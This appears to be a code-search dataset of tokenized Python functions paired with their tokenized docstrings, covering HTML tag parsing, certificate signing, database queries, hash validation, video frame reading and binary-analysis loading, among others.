[ "def", "_really_parse_tag", "(", "self", ")", ":", "data", "=", "_TagOpenData", "(", ")", "self", ".", "_push", "(", "contexts", ".", "TAG_OPEN", ")", "self", ".", "_emit", "(", "tokens", ".", "TagOpenOpen", "(", ")", ")", "while", "True", ":", "this", ",", "next", "=", "self", ".", "_read", "(", ")", ",", "self", ".", "_read", "(", "1", ")", "can_exit", "=", "(", "not", "data", ".", "context", "&", "(", "data", ".", "CX_QUOTED", "|", "data", ".", "CX_NAME", ")", "or", "data", ".", "context", "&", "data", ".", "CX_NOTE_SPACE", ")", "if", "this", "is", "self", ".", "END", ":", "if", "self", ".", "_context", "&", "contexts", ".", "TAG_ATTR", ":", "if", "data", ".", "context", "&", "data", ".", "CX_QUOTED", ":", "# Unclosed attribute quote: reset, don't die", "data", ".", "context", "=", "data", ".", "CX_ATTR_VALUE", "self", ".", "_memoize_bad_route", "(", ")", "self", ".", "_pop", "(", ")", "self", ".", "_head", "=", "data", ".", "reset", "continue", "self", ".", "_pop", "(", ")", "self", ".", "_fail_route", "(", ")", "elif", "this", "==", "\">\"", "and", "can_exit", ":", "self", ".", "_handle_tag_close_open", "(", "data", ",", "tokens", ".", "TagCloseOpen", ")", "self", ".", "_context", "=", "contexts", ".", "TAG_BODY", "if", "is_single_only", "(", "self", ".", "_stack", "[", "1", "]", ".", "text", ")", ":", "return", "self", ".", "_handle_single_only_tag_end", "(", ")", "if", "is_parsable", "(", "self", ".", "_stack", "[", "1", "]", ".", "text", ")", ":", "return", "self", ".", "_parse", "(", "push", "=", "False", ")", "return", "self", ".", "_handle_blacklisted_tag", "(", ")", "elif", "this", "==", "\"/\"", "and", "next", "==", "\">\"", "and", "can_exit", ":", "self", ".", "_handle_tag_close_open", "(", "data", ",", "tokens", ".", "TagCloseSelfclose", ")", "return", "self", ".", "_pop", "(", ")", "else", ":", "self", ".", "_handle_tag_data", "(", "data", ",", "this", ")", "self", ".", "_head", "+=", "1" ]

[ "Actually", "parse", "an", "HTML", "tag", "starting", "with", "the", "open", "(", "<foo", ">", ")", "." ]

[ "def", "folderitem", "(", "self", ",", "obj", ",", "item", ",", "index", ")", ":", "cat", "=", "obj", ".", "getCategoryTitle", "(", ")", "cat_order", "=", "self", ".", "an_cats_order", ".", "get", "(", "cat", ")", "if", "self", ".", "do_cats", ":", "# category groups entries", "item", "[", "\"category\"", "]", "=", "cat", "if", "(", "cat", ",", "cat_order", ")", "not", "in", "self", ".", "categories", ":", "self", ".", "categories", ".", "append", "(", "(", "cat", ",", "cat_order", ")", ")", "# Category", "category", "=", "obj", ".", "getCategory", "(", ")", "if", "category", ":", "title", "=", "category", ".", "Title", "(", ")", "url", "=", "category", ".", "absolute_url", "(", ")", "item", "[", "\"Category\"", "]", "=", "title", "item", "[", "\"replace\"", "]", "[", "\"Category\"", "]", "=", "get_link", "(", "url", ",", "value", "=", "title", ")", "# Calculation", "calculation", "=", "obj", ".", "getCalculation", "(", ")", "if", "calculation", ":", "title", "=", "calculation", ".", "Title", "(", ")", "url", "=", "calculation", ".", "absolute_url", "(", ")", "item", "[", "\"Calculation\"", "]", "=", "title", "item", "[", "\"replace\"", "]", "[", "\"Calculation\"", "]", "=", "get_link", "(", "url", ",", "value", "=", "title", ")", "# Methods", "methods", "=", "obj", ".", "getMethods", "(", ")", "if", "methods", ":", "links", "=", "map", "(", "lambda", "m", ":", "get_link", "(", "m", ".", "absolute_url", "(", ")", ",", "value", "=", "m", ".", "Title", "(", ")", ",", "css_class", "=", "\"link\"", ")", ",", "methods", ")", "item", "[", "\"replace\"", "]", "[", "\"Methods\"", "]", "=", "\", \"", ".", "join", "(", "links", ")", "# Max time allowed", "maxtime", "=", "obj", ".", "MaxTimeAllowed", "if", "maxtime", ":", "item", "[", "\"MaxTimeAllowed\"", "]", "=", "self", ".", "format_maxtime", "(", "maxtime", ")", "# Price", "item", "[", "\"Price\"", "]", "=", "self", ".", "format_price", "(", "obj", ".", "Price", ")", "# Duplicate Variation", "dup_variation", "=", "obj", ".", "DuplicateVariation", "if", "dup_variation", ":", "item", "[", "\"DuplicateVariation\"", "]", "=", "self", ".", "format_duplication_variation", "(", "dup_variation", ")", "# Icons", "after_icons", "=", "\"\"", "if", "obj", ".", "getAccredited", "(", ")", ":", "after_icons", "+=", "get_image", "(", "\"accredited.png\"", ",", "title", "=", "_", "(", "\"Accredited\"", ")", ")", "if", "obj", ".", "getAttachmentOption", "(", ")", "==", "\"r\"", ":", "after_icons", "+=", "get_image", "(", "\"attach_reqd.png\"", ",", "title", "=", "_", "(", "\"Attachment required\"", ")", ")", "if", "obj", ".", "getAttachmentOption", "(", ")", "==", "\"n\"", ":", "after_icons", "+=", "get_image", "(", "\"attach_no.png\"", ",", "title", "=", "_", "(", "\"Attachment not permitted\"", ")", ")", "if", "after_icons", ":", "item", "[", "\"after\"", "]", "[", "\"Title\"", "]", "=", "after_icons", "return", "item" ]

[ "Service", "triggered", "each", "time", "an", "item", "is", "iterated", "in", "folderitems", ".", "The", "use", "of", "this", "service", "prevents", "the", "extra", "-", "loops", "in", "child", "objects", ".", ":", "obj", ":", "the", "instance", "of", "the", "class", "to", "be", "foldered", ":", "item", ":", "dict", "containing", "the", "properties", "of", "the", "object", "to", "be", "used", "by", "the", "template", ":", "index", ":", "current", "index", "of", "the", "item" ]

[ "def", "enable_cache", "(", "self", ")", ":", "self", ".", "set_header", "(", "'Cache-Control'", ",", "'max-age=%d, public'", "%", "self", ".", "CACHE_TIME", ")", "now", "=", "datetime", ".", "datetime", ".", "now", "(", ")", "expires", "=", "now", "+", "datetime", ".", "timedelta", "(", "seconds", "=", "self", ".", "CACHE_TIME", ")", "self", ".", "set_header", "(", "'Expires'", ",", "expires", ".", "strftime", "(", "'%a, %d %b %Y %H:%M:%S'", ")", ")", "self", ".", "set_header", "(", "'access-control-max-age'", ",", "self", ".", "CACHE_TIME", ")" ]

[ "Enable", "client", "-", "side", "caching", "for", "the", "current", "request" ]

[ "def", "delete_event", "(", "self", ",", "id", ",", "*", "*", "data", ")", ":", "return", "self", ".", "delete", "(", "\"/events/{0}/\"", ".", "format", "(", "id", ")", ",", "data", "=", "data", ")" ]

[ "DELETE", "/", "events", "/", ":", "id", "/", "Deletes", "an", "event", "if", "the", "delete", "is", "permitted", ".", "In", "order", "for", "a", "delete", "to", "be", "permitted", "there", "must", "be", "no", "pending", "or", "completed", "orders", ".", "Returns", "a", "boolean", "indicating", "success", "or", "failure", "of", "the", "delete", "." ]

[ "def", "sign", "(", "self", ",", "req", ",", "issuer_cert_key", ",", "validity_period", ",", "digest", "=", "\"sha256\"", ",", "extensions", "=", "None", ",", "serial", "=", "0", ")", ":", "issuer_cert", ",", "issuer_key", "=", "issuer_cert_key", "not_before", ",", "not_after", "=", "validity_period", "cert", "=", "crypto", ".", "X509", "(", ")", "cert", ".", "set_serial_number", "(", "serial", ")", "cert", ".", "gmtime_adj_notBefore", "(", "not_before", ")", "cert", ".", "gmtime_adj_notAfter", "(", "not_after", ")", "cert", ".", "set_issuer", "(", "issuer_cert", ".", "get_subject", "(", ")", ")", "cert", ".", "set_subject", "(", "req", ".", "get_subject", "(", ")", ")", "cert", ".", "set_pubkey", "(", "req", ".", "get_pubkey", "(", ")", ")", "if", "extensions", ":", "for", "ext", "in", "extensions", ":", "if", "callable", "(", "ext", ")", ":", "ext", "=", "ext", "(", "cert", ")", "cert", ".", "add_extensions", "(", "[", "ext", "]", ")", "cert", ".", "sign", "(", "issuer_key", ",", "digest", ")", "return", "cert" ]

[ "Generate", "a", "certificate", "given", "a", "certificate", "request", "." ]

[ "def", "bounding_box_from", "(", "points", ",", "i", ",", "i1", ",", "thr", ")", ":", "pi", "=", "points", "[", "i", "]", "pi1", "=", "points", "[", "i1", "]", "min_lat", "=", "min", "(", "pi", ".", "lat", ",", "pi1", ".", "lat", ")", "min_lon", "=", "min", "(", "pi", ".", "lon", ",", "pi1", ".", "lon", ")", "max_lat", "=", "max", "(", "pi", ".", "lat", ",", "pi1", ".", "lat", ")", "max_lon", "=", "max", "(", "pi", ".", "lon", ",", "pi1", ".", "lon", ")", "return", "min_lat", "-", "thr", ",", "min_lon", "-", "thr", ",", "max_lat", "+", "thr", ",", "max_lon", "+", "thr" ]

[ "Creates", "bounding", "box", "for", "a", "line", "segment" ]

[ "def", "get_defined_enums", "(", "conn", ",", "schema", ")", ":", "sql", "=", "\"\"\"\n SELECT\n pg_catalog.format_type(t.oid, NULL),\n ARRAY(SELECT enumlabel\n FROM pg_catalog.pg_enum\n WHERE enumtypid = t.oid)\n FROM pg_catalog.pg_type t\n LEFT JOIN pg_catalog.pg_namespace n ON n.oid = t.typnamespace\n WHERE\n t.typtype = 'e'\n AND n.nspname = %s\n \"\"\"", "return", "{", "r", "[", "0", "]", ":", "frozenset", "(", "r", "[", "1", "]", ")", "for", "r", "in", "conn", ".", "execute", "(", "sql", ",", "(", "schema", ",", ")", ")", "}" ]

[ "Return", "a", "dict", "mapping", "PostgreSQL", "enumeration", "types", "to", "the", "set", "of", "their", "defined", "values", "." ]

[ "def", "delete_backend", "(", "backend", ")", ":", "settings", "=", "read_client_secrets", "(", ")", "if", "backend", "in", "settings", ":", "del", "settings", "[", "backend", "]", "# If the backend was the active client, remove too", "if", "'SREGISTRY_CLIENT'", "in", "settings", ":", "if", "settings", "[", "'SREGISTRY_CLIENT'", "]", "==", "backend", ":", "del", "settings", "[", "'SREGISTRY_CLIENT'", "]", "update_secrets", "(", "settings", ")", "print", "(", "'[delete] %s'", "%", "backend", ")", "else", ":", "if", "backend", "is", "not", "None", ":", "print", "(", "'%s is not a known client.'", "%", "backend", ")", "else", ":", "print", "(", "'Please specify a backend to delete.'", ")" ]

[ "delete", "a", "backend", "and", "update", "the", "secrets", "file" ]

[ "def", "is_hash", "(", "fhash", ")", ":", "# Intentionally doing if/else statement for ease of testing and reading", "if", "re", ".", "match", "(", "re_md5", ",", "fhash", ")", ":", "return", "True", "elif", "re", ".", "match", "(", "re_sha1", ",", "fhash", ")", ":", "return", "True", "elif", "re", ".", "match", "(", "re_sha256", ",", "fhash", ")", ":", "return", "True", "elif", "re", ".", "match", "(", "re_sha512", ",", "fhash", ")", ":", "return", "True", "elif", "re", ".", "match", "(", "re_ssdeep", ",", "fhash", ")", ":", "return", "True", "else", ":", "return", "False" ]

[ "Returns", "true", "for", "valid", "hashes", "false", "for", "invalid", "." ]

[ "def", "_from_dict", "(", "cls", ",", "_dict", ")", ":", "args", "=", "{", "}", "if", "'document'", "in", "_dict", ":", "args", "[", "'document'", "]", "=", "DocumentSentimentResults", ".", "_from_dict", "(", "_dict", ".", "get", "(", "'document'", ")", ")", "if", "'targets'", "in", "_dict", ":", "args", "[", "'targets'", "]", "=", "[", "TargetedSentimentResults", ".", "_from_dict", "(", "x", ")", "for", "x", "in", "(", "_dict", ".", "get", "(", "'targets'", ")", ")", "]", "return", "cls", "(", "*", "*", "args", ")" ]

[ "Initialize", "a", "SentimentResult", "object", "from", "a", "json", "dictionary", "." ]

[ "def", "url_syntax_check", "(", "url", ")", ":", "# pragma: no cover", "if", "url", "and", "isinstance", "(", "url", ",", "str", ")", ":", "# The given URL is not empty nor None.", "# and", "# * The given URL is a string.", "# We silently load the configuration.", "load_config", "(", "True", ")", "return", "Check", "(", "url", ")", ".", "is_url_valid", "(", ")", "# We return None, there is nothing to check.", "return", "None" ]

[ "Check", "the", "syntax", "of", "the", "given", "URL", "." ]

[ "def", "dropna", "(", "self", ")", ":", "not_nas", "=", "[", "v", ".", "notna", "(", ")", "for", "v", "in", "self", ".", "values", "]", "and_filter", "=", "reduce", "(", "lambda", "x", ",", "y", ":", "x", "&", "y", ",", "not_nas", ")", "return", "self", "[", "and_filter", "]" ]

[ "Returns", "MultiIndex", "without", "any", "rows", "containing", "null", "values", "according", "to", "Baloo", "s", "convention", "." ]

[ "def", "buildschema", "(", "_cls", "=", "None", ",", "*", "*", "kwargs", ")", ":", "if", "_cls", "is", "None", ":", "return", "lambda", "_cls", ":", "buildschema", "(", "_cls", "=", "_cls", ",", "*", "*", "kwargs", ")", "result", "=", "build", "(", "_cls", ",", "*", "*", "kwargs", ")", "return", "result" ]

[ "Class", "decorator", "used", "to", "build", "a", "schema", "from", "the", "decorate", "class", "." ]

[ "def", "fork", "(", "self", ",", "strictindex", ",", "new_value", ")", ":", "forked_chunk", "=", "YAMLChunk", "(", "deepcopy", "(", "self", ".", "_ruamelparsed", ")", ",", "pointer", "=", "self", ".", "pointer", ",", "label", "=", "self", ".", "label", ",", "key_association", "=", "copy", "(", "self", ".", "_key_association", ")", ",", ")", "forked_chunk", ".", "contents", "[", "self", ".", "ruamelindex", "(", "strictindex", ")", "]", "=", "new_value", ".", "as_marked_up", "(", ")", "forked_chunk", ".", "strictparsed", "(", ")", "[", "strictindex", "]", "=", "deepcopy", "(", "new_value", ".", "as_marked_up", "(", ")", ")", "return", "forked_chunk" ]

[ "Return", "a", "chunk", "referring", "to", "the", "same", "location", "in", "a", "duplicated", "document", "." ]

[ "def", "get_view_nodes_from_indexes", "(", "self", ",", "*", "indexes", ")", ":", "nodes", "=", "{", "}", "model", "=", "self", ".", "model", "(", ")", "if", "not", "model", ":", "return", "nodes", "if", "not", "hasattr", "(", "model", ",", "\"get_node\"", ")", ":", "raise", "NotImplementedError", "(", "\"{0} | '{1}' Model doesn't implement a 'get_node' method!\"", ".", "format", "(", "__name__", ",", "model", ")", ")", "if", "not", "hasattr", "(", "model", ",", "\"get_attribute\"", ")", ":", "raise", "NotImplementedError", "(", "\"{0} | '{1}' Model doesn't implement a 'get_attribute' method!\"", ".", "format", "(", "__name__", ",", "model", ")", ")", "for", "index", "in", "indexes", ":", "node", "=", "model", ".", "get_node", "(", "index", ")", "if", "not", "node", "in", "nodes", ":", "nodes", "[", "node", "]", "=", "[", "]", "attribute", "=", "model", ".", "get_attribute", "(", "node", ",", "index", ".", "column", "(", ")", ")", "attribute", "and", "nodes", "[", "node", "]", ".", "append", "(", "attribute", ")", "return", "nodes" ]

[ "Returns", "the", "View", "Nodes", "from", "given", "indexes", "." ]

[ "def", "validate_config_parameters", "(", "config_json", ",", "allowed_keys", ",", "allowed_types", ")", ":", "custom_fields", "=", "config_json", ".", "get", "(", "defs", ".", "PARAMETERS", ",", "[", "]", ")", "for", "field", "in", "custom_fields", ":", "validate_field", "(", "field", ",", "allowed_keys", ",", "allowed_types", ")", "default", "=", "field", ".", "get", "(", "defs", ".", "DEFAULT", ")", "field_type", "=", "field", ".", "get", "(", "defs", ".", "TYPE", ")", "if", "default", ":", "validate_field_matches_type", "(", "field", "[", "defs", ".", "VALUE", "]", ",", "default", ",", "field_type", ")" ]

[ "Validate", "parameters", "in", "config", "file", "." ]

[ "def", "get_dependency", "(", "self", ",", "worker_ctx", ")", ":", "extra_headers", "=", "self", ".", "get_message_headers", "(", "worker_ctx", ")", "def", "dispatch", "(", "event_type", ",", "event_data", ")", ":", "self", ".", "publisher", ".", "publish", "(", "event_data", ",", "exchange", "=", "self", ".", "exchange", ",", "routing_key", "=", "event_type", ",", "extra_headers", "=", "extra_headers", ")", "return", "dispatch" ]

[ "Inject", "a", "dispatch", "method", "onto", "the", "service", "instance" ]

[ "def", "get_host_addresses", "(", "use_ipv4", ",", "use_ipv6", ")", ":", "addresses", "=", "[", "]", "for", "interface", "in", "netifaces", ".", "interfaces", "(", ")", ":", "ifaddresses", "=", "netifaces", ".", "ifaddresses", "(", "interface", ")", "for", "address", "in", "ifaddresses", ".", "get", "(", "socket", ".", "AF_INET", ",", "[", "]", ")", ":", "if", "use_ipv4", "and", "address", "[", "'addr'", "]", "!=", "'127.0.0.1'", ":", "addresses", ".", "append", "(", "address", "[", "'addr'", "]", ")", "for", "address", "in", "ifaddresses", ".", "get", "(", "socket", ".", "AF_INET6", ",", "[", "]", ")", ":", "if", "use_ipv6", "and", "address", "[", "'addr'", "]", "!=", "'::1'", "and", "'%'", "not", "in", "address", "[", "'addr'", "]", ":", "addresses", ".", "append", "(", "address", "[", "'addr'", "]", ")", "return", "addresses" ]

[ "Get", "local", "IP", "addresses", "." ]

[ "def", "file_reader", "(", "self", ")", ":", "self", ".", "update_config", "(", ")", "path", "=", "self", ".", "config", "[", "'path'", "]", "# open file to get dimensions", "with", "self", ".", "subprocess", "(", "[", "'ffmpeg'", ",", "'-v'", ",", "'info'", ",", "'-y'", ",", "'-an'", ",", "'-vn'", ",", "'-i'", ",", "path", ",", "'-'", "]", ",", "stdout", "=", "subprocess", ".", "PIPE", ",", "stderr", "=", "subprocess", ".", "PIPE", ",", "stdin", "=", "open", "(", "os", ".", "devnull", ")", ",", "universal_newlines", "=", "True", ")", "as", "sp", ":", "for", "line", "in", "sp", ".", "stderr", ".", "read", "(", ")", ".", "splitlines", "(", ")", ":", "match", "=", "re", ".", "search", "(", "'(\\d{2,})x(\\d{2,})'", ",", "line", ")", "if", "match", ":", "xlen", ",", "ylen", "=", "map", "(", "int", ",", "match", ".", "groups", "(", ")", ")", "break", "else", ":", "self", ".", "logger", ".", "critical", "(", "'Failed to open %s'", ",", "path", ")", "return", "# read file repeatedly to allow looping", "while", "True", ":", "# can change config once per outer loop", "self", ".", "update_config", "(", ")", "bit16", "=", "self", ".", "config", "[", "'16bit'", "]", "self", ".", "frame_type", "=", "self", ".", "config", "[", "'type'", "]", "self", ".", "metadata", "=", "Metadata", "(", ")", ".", "from_file", "(", "path", ")", "audit", "=", "self", ".", "metadata", ".", "get", "(", "'audit'", ")", "audit", "+=", "'data = %s\\n'", "%", "path", "audit", "+=", "' type: %s, 16bit: %s\\n'", "%", "(", "self", ".", "frame_type", ",", "bit16", ")", "self", ".", "metadata", ".", "set", "(", "'audit'", ",", "audit", ")", "bps", "=", "{", "'RGB'", ":", "3", ",", "'Y'", ":", "1", "}", "[", "self", ".", "frame_type", "]", "pix_fmt", "=", "{", "'RGB'", ":", "(", "'rgb24'", ",", "'rgb48le'", ")", ",", "'Y'", ":", "(", "'gray'", ",", "'gray16le'", ")", "}", "[", "self", ".", "frame_type", "]", "[", "bit16", "]", "bytes_per_line", "=", "xlen", "*", "ylen", "*", "bps", "if", "bit16", ":", "bytes_per_line", "*=", "2", "# open file to read data", "with", "self", ".", "subprocess", "(", "[", "'ffmpeg'", ",", "'-v'", ",", "'warning'", ",", "'-an'", ",", "'-i'", ",", "path", ",", "'-f'", ",", "'image2pipe'", ",", "'-pix_fmt'", ",", "pix_fmt", ",", "'-c:v'", ",", "'rawvideo'", ",", "'-'", "]", ",", "stdout", "=", "subprocess", ".", "PIPE", ",", "stderr", "=", "subprocess", ".", "PIPE", ",", "stdin", "=", "open", "(", "os", ".", "devnull", ")", ",", "bufsize", "=", "bytes_per_line", ")", "as", "sp", ":", "while", "True", ":", "try", ":", "raw_data", "=", "sp", ".", "stdout", ".", "read", "(", "bytes_per_line", ")", "except", "Exception", "as", "ex", ":", "self", ".", "logger", ".", "exception", "(", "ex", ")", "return", "if", "len", "(", "raw_data", ")", "<", "bytes_per_line", ":", "break", "if", "bit16", ":", "image", "=", "numpy", ".", "fromstring", "(", "raw_data", ",", "dtype", "=", "numpy", ".", "uint16", ")", "image", "=", "image", ".", "astype", "(", "pt_float", ")", "/", "pt_float", "(", "256.0", ")", "else", ":", "image", "=", "numpy", ".", "fromstring", "(", "raw_data", ",", "dtype", "=", "numpy", ".", "uint8", ")", "yield", "image", ".", "reshape", "(", "(", "ylen", ",", "xlen", ",", "bps", ")", ")", "self", ".", "update_config", "(", ")", "if", "self", ".", "frame_no", "==", "0", "or", "self", ".", "config", "[", "'looping'", "]", "==", "'off'", ":", "return" ]

[ "Generator", "process", "to", "read", "file" ]

[ "def", "_verify_names", "(", "sampler", ",", "var_names", ",", "arg_names", ")", ":", "# There are 3 possible cases: emcee2, emcee3 and sampler read from h5 file (emcee3 only)", "if", "hasattr", "(", "sampler", ",", "\"args\"", ")", ":", "num_vars", "=", "sampler", ".", "chain", ".", "shape", "[", "-", "1", "]", "num_args", "=", "len", "(", "sampler", ".", "args", ")", "elif", "hasattr", "(", "sampler", ",", "\"log_prob_fn\"", ")", ":", "num_vars", "=", "sampler", ".", "get_chain", "(", ")", ".", "shape", "[", "-", "1", "]", "num_args", "=", "len", "(", "sampler", ".", "log_prob_fn", ".", "args", ")", "else", ":", "num_vars", "=", "sampler", ".", "get_chain", "(", ")", ".", "shape", "[", "-", "1", "]", "num_args", "=", "0", "# emcee only stores the posterior samples", "if", "var_names", "is", "None", ":", "var_names", "=", "[", "\"var_{}\"", ".", "format", "(", "idx", ")", "for", "idx", "in", "range", "(", "num_vars", ")", "]", "if", "arg_names", "is", "None", ":", "arg_names", "=", "[", "\"arg_{}\"", ".", "format", "(", "idx", ")", "for", "idx", "in", "range", "(", "num_args", ")", "]", "if", "len", "(", "var_names", ")", "!=", "num_vars", ":", "raise", "ValueError", "(", "\"The sampler has {} variables, but only {} var_names were provided!\"", ".", "format", "(", "num_vars", ",", "len", "(", "var_names", ")", ")", ")", "if", "len", "(", "arg_names", ")", "!=", "num_args", ":", "raise", "ValueError", "(", "\"The sampler has {} args, but only {} arg_names were provided!\"", ".", "format", "(", "num_args", ",", "len", "(", "arg_names", ")", ")", ")", "return", "var_names", ",", "arg_names" ]

[ "Make", "sure", "var_names", "and", "arg_names", "are", "assigned", "reasonably", "." ]

[ "def", "felli", "(", "x", ")", ":", "return", "sum", "(", "1e6", "**", "(", "np", ".", "arange", "(", "len", "(", "x", ")", ")", "/", "(", "len", "(", "x", ")", "-", "1", ")", ")", "*", "(", "np", ".", "array", "(", "x", ",", "copy", "=", "False", ")", ")", "**", "2", ")" ]

[ "unbound", "test", "function", "needed", "to", "test", "multiprocessor" ]

[ "def", "install_extension", "(", "self", ",", "url", ",", "filename", "=", "None", ")", ":", "# Ensure the extension directory exists", "if", "not", "os", ".", "path", ".", "isdir", "(", "self", ".", "ipython_extension_dir", ")", ":", "os", ".", "makedirs", "(", "self", ".", "ipython_extension_dir", ",", "mode", "=", "0777", ")", "if", "os", ".", "path", ".", "isfile", "(", "url", ")", ":", "src_filename", "=", "os", ".", "path", ".", "basename", "(", "url", ")", "copy", "=", "copyfile", "else", ":", "src_filename", "=", "urlparse", "(", "url", ")", ".", "path", ".", "split", "(", "'/'", ")", "[", "-", "1", "]", "copy", "=", "urlretrieve", "if", "filename", "is", "None", ":", "filename", "=", "src_filename", "if", "os", ".", "path", ".", "splitext", "(", "filename", ")", "[", "1", "]", "not", "in", "(", "'.py'", ",", "'.zip'", ")", ":", "raise", "ValueError", "(", "\"The file must have a .py or .zip extension\"", ",", "filename", ")", "filename", "=", "os", ".", "path", ".", "join", "(", "self", ".", "ipython_extension_dir", ",", "filename", ")", "copy", "(", "url", ",", "filename", ")", "return", "filename" ]

[ "Download", "and", "install", "an", "IPython", "extension", ".", "If", "filename", "is", "given", "the", "file", "will", "be", "so", "named", "(", "inside", "the", "extension", "directory", ")", ".", "Otherwise", "the", "name", "from", "the", "URL", "will", "be", "used", ".", "The", "file", "must", "have", "a", ".", "py", "or", ".", "zip", "extension", ";", "otherwise", "a", "ValueError", "will", "be", "raised", ".", "Returns", "the", "full", "path", "to", "the", "installed", "file", "." ]

[ "def", "_update_params", "(", "self", ")", ":", "if", "self", ".", "data", ".", "get", "(", "'title'", ")", ":", "self", ".", "params", "[", "'title'", "]", "=", "self", ".", "data", ".", "get", "(", "'title'", ")", "if", "self", ".", "data", ".", "get", "(", "'pageid'", ")", ":", "self", ".", "params", "[", "'pageid'", "]", "=", "self", ".", "data", ".", "get", "(", "'pageid'", ")", "if", "self", ".", "data", ".", "get", "(", "'wikibase'", ")", ":", "self", ".", "params", "[", "'wikibase'", "]", "=", "self", ".", "data", ".", "get", "(", "'wikibase'", ")" ]

[ "update", "params", "from", "response", "data" ]

[ "def", "input", "(", "self", ")", ":", "if", "self", ".", "_input", "is", "None", ":", "input_file", "=", "self", ".", "environ", "[", "'wsgi.input'", "]", "content_length", "=", "self", ".", "content_length", "or", "0", "self", ".", "_input", "=", "WsgiInput", "(", "input_file", ",", "self", ".", "content_length", ")", "return", "self", ".", "_input" ]

[ "Returns", "a", "file", "-", "like", "object", "representing", "the", "request", "body", "." ]

[ "def", "load_shellcode", "(", "shellcode", ",", "arch", ",", "start_offset", "=", "0", ",", "load_address", "=", "0", ")", ":", "return", "Project", "(", "BytesIO", "(", "shellcode", ")", ",", "main_opts", "=", "{", "'backend'", ":", "'blob'", ",", "'arch'", ":", "arch", ",", "'entry_point'", ":", "start_offset", ",", "'base_addr'", ":", "load_address", ",", "}", ")" ]

[ "Load", "a", "new", "project", "based", "on", "a", "string", "of", "raw", "bytecode", "." ]

[ "def", "_scale_jobs_to_memory", "(", "jobs", ",", "mem_per_core", ",", "sysinfo", ")", ":", "if", "\"cores\"", "not", "in", "sysinfo", ":", "return", "jobs", ",", "1.0", "sys_mem_per_core", "=", "float", "(", "sysinfo", "[", "\"memory\"", "]", ")", "/", "float", "(", "sysinfo", "[", "\"cores\"", "]", ")", "if", "sys_mem_per_core", "<", "mem_per_core", ":", "pct", "=", "sys_mem_per_core", "/", "float", "(", "mem_per_core", ")", "target_jobs", "=", "int", "(", "math", ".", "floor", "(", "jobs", "*", "pct", ")", ")", "return", "max", "(", "target_jobs", ",", "1", ")", ",", "pct", "else", ":", "return", "jobs", ",", "1.0" ]

[ "When", "scheduling", "jobs", "with", "single", "cores", "avoid", "overscheduling", "due", "to", "memory", "." ]

[ "def", "to_dict", "(", "self", ")", ":", "d", "=", "{", "'componentId'", ":", "self", ".", "component_id", ",", "'instanceName'", ":", "self", ".", "instance_name", "}", "props", "=", "[", "]", "for", "name", "in", "self", ".", "properties", ":", "p", "=", "{", "'name'", ":", "name", "}", "if", "self", ".", "properties", "[", "name", "]", ":", "p", "[", "'value'", "]", "=", "str", "(", "self", ".", "properties", "[", "name", "]", ")", "props", ".", "append", "(", "p", ")", "if", "props", ":", "d", "[", "RTS_EXT_NS_YAML", "+", "'properties'", "]", "=", "props", "return", "d" ]

[ "Save", "this", "target", "component", "into", "a", "dictionary", "." ]

[ "def", "global_maxpooling", "(", "attrs", ",", "inputs", ",", "proto_obj", ")", ":", "new_attrs", "=", "translation_utils", ".", "_add_extra_attributes", "(", "attrs", ",", "{", "'global_pool'", ":", "True", ",", "'kernel'", ":", "(", "1", ",", "1", ")", ",", "'pool_type'", ":", "'max'", "}", ")", "return", "'Pooling'", ",", "new_attrs", ",", "inputs" ]

[ "Performs", "max", "pooling", "on", "the", "input", "." ]

[ "def", "toArray", "(", "self", ")", ":", "if", "self", ".", "isTransposed", ":", "return", "np", ".", "asfortranarray", "(", "self", ".", "values", ".", "reshape", "(", "(", "self", ".", "numRows", ",", "self", ".", "numCols", ")", ")", ")", "else", ":", "return", "self", ".", "values", ".", "reshape", "(", "(", "self", ".", "numRows", ",", "self", ".", "numCols", ")", ",", "order", "=", "'F'", ")" ]

[ "Return", "an", "numpy", ".", "ndarray" ]

[ "def", "_homogenize_waves", "(", "wave_a", ",", "wave_b", ")", ":", "indep_vector", "=", "_get_indep_vector", "(", "wave_a", ",", "wave_b", ")", "dep_vector_a", "=", "_interp_dep_vector", "(", "wave_a", ",", "indep_vector", ")", "dep_vector_b", "=", "_interp_dep_vector", "(", "wave_b", ",", "indep_vector", ")", "return", "(", "indep_vector", ",", "dep_vector_a", ",", "dep_vector_b", ")" ]

[ "Generate", "combined", "independent", "variable", "vector", "." ]

[ "def", "reload", "(", "self", ",", "obj", ",", "extra_params", "=", "None", ")", ":", "if", "not", "obj", ".", "_json_data", ".", "get", "(", "'url'", ")", ":", "# pragma: no cover", "raise", "NotFoundError", "(", "\"Could not reload object, there is no url for object '{}' configured\"", ".", "format", "(", "obj", ")", ")", "response", "=", "self", ".", "_request", "(", "'GET'", ",", "obj", ".", "_json_data", ".", "get", "(", "'url'", ")", ",", "params", "=", "extra_params", ")", "if", "response", ".", "status_code", "!=", "requests", ".", "codes", ".", "ok", ":", "# pragma: no cover", "raise", "NotFoundError", "(", "\"Could not reload object ({})\"", ".", "format", "(", "response", ")", ")", "data", "=", "response", ".", "json", "(", ")", "return", "obj", ".", "__class__", "(", "data", "[", "'results'", "]", "[", "0", "]", ",", "client", "=", "self", ")" ]

[ "Reload", "an", "object", "from", "server", ".", "This", "method", "is", "immutable", "and", "will", "return", "a", "new", "object", "." ]

[ "def", "patch", "(", "self", ",", "url", ",", "data", "=", "None", ",", "*", "*", "kwargs", ")", ":", "return", "self", ".", "oauth_request", "(", "url", ",", "'patch'", ",", "data", "=", "data", ",", "*", "*", "kwargs", ")" ]

[ "Shorthand", "for", "self", ".", "oauth_request", "(", "url", "patch", ")" ]

[ "def", "get_mathitemsinsertion", "(", "cls", ",", "indent", ")", "->", "str", ":", "blanks", "=", "' '", "*", "(", "indent", "*", "4", ")", "subs", "=", "[", "]", "for", "modelname", "in", "cls", ".", "get_modelnames", "(", ")", ":", "model", "=", "importtools", ".", "prepare_model", "(", "modelname", ")", "subs", ".", "extend", "(", "[", "f'{blanks}<complexType name=\"{modelname}_mathitemType\">'", ",", "f'{blanks} <complexContent>'", ",", "f'{blanks} <extension base=\"hpcb:setitemType\">'", ",", "f'{blanks} <choice>'", "]", ")", "for", "subvars", "in", "cls", ".", "_get_subvars", "(", "model", ")", ":", "for", "var", "in", "subvars", ":", "subs", ".", "append", "(", "f'{blanks} '", "f'<element name=\"{subvars.name}.{var.name}\"/>'", ")", "subs", ".", "extend", "(", "[", "f'{blanks} </choice>'", ",", "f'{blanks} </extension>'", ",", "f'{blanks} </complexContent>'", ",", "f'{blanks}</complexType>'", ",", "f''", "]", ")", "return", "'\\n'", ".", "join", "(", "subs", ")" ]

